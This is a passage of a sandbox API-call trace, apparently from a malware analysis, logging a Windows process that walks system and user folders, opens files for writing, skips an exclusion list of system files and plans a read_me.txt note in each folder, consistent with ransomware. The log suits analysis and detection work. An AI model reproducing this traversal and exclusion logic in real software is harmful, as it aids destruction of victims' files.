lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.756] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\..") returned 18 [0077.756] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0077.756] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 52 [0077.756] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0 [0077.756] FindClose (in: hFindFile=0x32fc1c8 | out: hFindFile=0x32fc1c8) returned 1 [0077.756] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Recovery\\read_me.txt") returned 27 [0077.756] GetProcessHeap () returned 0x540000 [0077.756] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4180068 | out: hHeap=0x540000) returned 1 [0077.757] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 31 [0077.757] GetProcessHeap () returned 0x540000 [0077.757] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.758] GetProcessHeap () returned 0x540000 [0077.758] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4180068 [0077.759] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned 54 [0077.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0077.759] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\.") returned 54 [0077.759] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.760] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\..") returned 55 [0077.760] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x540000, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1 [0077.760] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 61 [0077.760] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="read_me.txt") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="autoexec.bat") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="desktop.ini") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="autorun.inf") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="ntuser.dat") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="iconcache.db") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="bootsect.bak") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="boot.ini") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="ntuser.dat.log") returned 0x0 [0077.760] StrStrW (lpFirst="boot.sdi", lpSrch="thumbs.db") returned 0x0 [0077.760] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 3 [0077.760] QueueUserWorkItem (Function=0x404e00, Context=0x7b8, Flags=0x0) returned 1 [0077.761] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x540000, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1 [0077.761] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 62 [0077.761] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0077.765] StrStrW (lpFirst="winre.wim", lpSrch="read_me.txt") returned 0x0 [0077.765] StrStrW (lpFirst="winre.wim", lpSrch="autoexec.bat") returned 0x0 [0077.765] StrStrW (lpFirst="winre.wim", lpSrch="desktop.ini") returned 0x0 [0077.765] StrStrW (lpFirst="winre.wim", lpSrch="autorun.inf") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="ntuser.dat") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="iconcache.db") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="bootsect.bak") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="boot.ini") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="ntuser.dat.log") returned 0x0 [0077.766] StrStrW (lpFirst="winre.wim", lpSrch="thumbs.db") returned 0x0 [0077.766] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 4 [0077.766] QueueUserWorkItem (Function=0x404e00, Context=0x7ac, Flags=0x0) returned 1 [0077.766] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x540000, dwReserved1=0x0, cFileName="winre.wim", cAlternateFileName="")) returned 0 [0077.766] FindClose (in: hFindFile=0x32fc248 | out: hFindFile=0x32fc248) returned 1 [0077.766] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\read_me.txt") returned 64 [0077.766] GetProcessHeap () returned 0x540000 [0077.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4180068 | out: hHeap=0x540000) returned 1 [0077.766] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 32 [0077.766] GetProcessHeap () returned 0x540000 [0077.766] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0078.005] GetProcessHeap () returned 0x540000 [0078.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42a2108 [0078.006] wnsprintfW (in: pszDest=0x42a2108, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\System Volume Information\\*") returned 34 [0078.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\System Volume Information\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x540000, dwReserved1=0x0, cFileName="winre.wim", cAlternateFileName="")) returned 0xffffffff [0078.006] wnsprintfW (in: pszDest=0x42a2108, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\System Volume Information\\read_me.txt") returned 44 [0078.006] GetProcessHeap () returned 0x540000 [0078.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42a2108 | out: hHeap=0x540000) returned 1 [0078.006] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 33 [0078.006] GetProcessHeap () returned 0x540000 [0078.006] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0078.091] GetProcessHeap () returned 0x540000 [0078.091] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42c2118 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\*") returned 14 [0078.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\.") returned 14 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\..") returned 15 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 33 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users") returned 22 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default") returned 20 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Default User") returned 25 [0078.092] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.092] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\desktop.ini") returned 24 [0078.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\desktop.ini" (normalized: "c:\\users\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0078.093] StrStrW (lpFirst="desktop.ini", lpSrch="read_me.txt") returned 0x0 [0078.093] StrStrW (lpFirst="desktop.ini", lpSrch="autoexec.bat") returned 0x0 [0078.093] StrStrW (lpFirst="desktop.ini", lpSrch="desktop.ini") returned="desktop.ini" [0078.093] CloseHandle (hObject=0x7bc) returned 1 [0078.093] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0078.093] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public") returned 19 [0078.093] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.093] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\read_me.txt") returned 24 [0078.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\read_me.txt" (normalized: "c:\\users\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7bc [0078.093] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.093] CloseHandle (hObject=0x7bc) returned 1 [0078.093] FindNextFileW (in: hFindFile=0x32fc288, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a7483d0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a7483d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a7483d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0078.093] FindClose (in: hFindFile=0x32fc288 | out: hFindFile=0x32fc288) returned 1 [0078.093] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\read_me.txt") returned 24 [0078.093] GetProcessHeap () returned 0x540000 [0078.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42c2118 | out: hHeap=0x540000) returned 1 [0078.093] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 34 [0078.093] GetProcessHeap () returned 0x540000 [0078.093] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.399] GetProcessHeap () returned 0x540000 [0078.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43f00a0 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned 35 [0078.401] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\.") returned 35 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\..") returned 36 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 41 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data") returned 50 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a82cc10, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a82cc10, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 42 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 41 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a9a99d0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a9a99d0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0078.401] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 41 [0078.401] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, 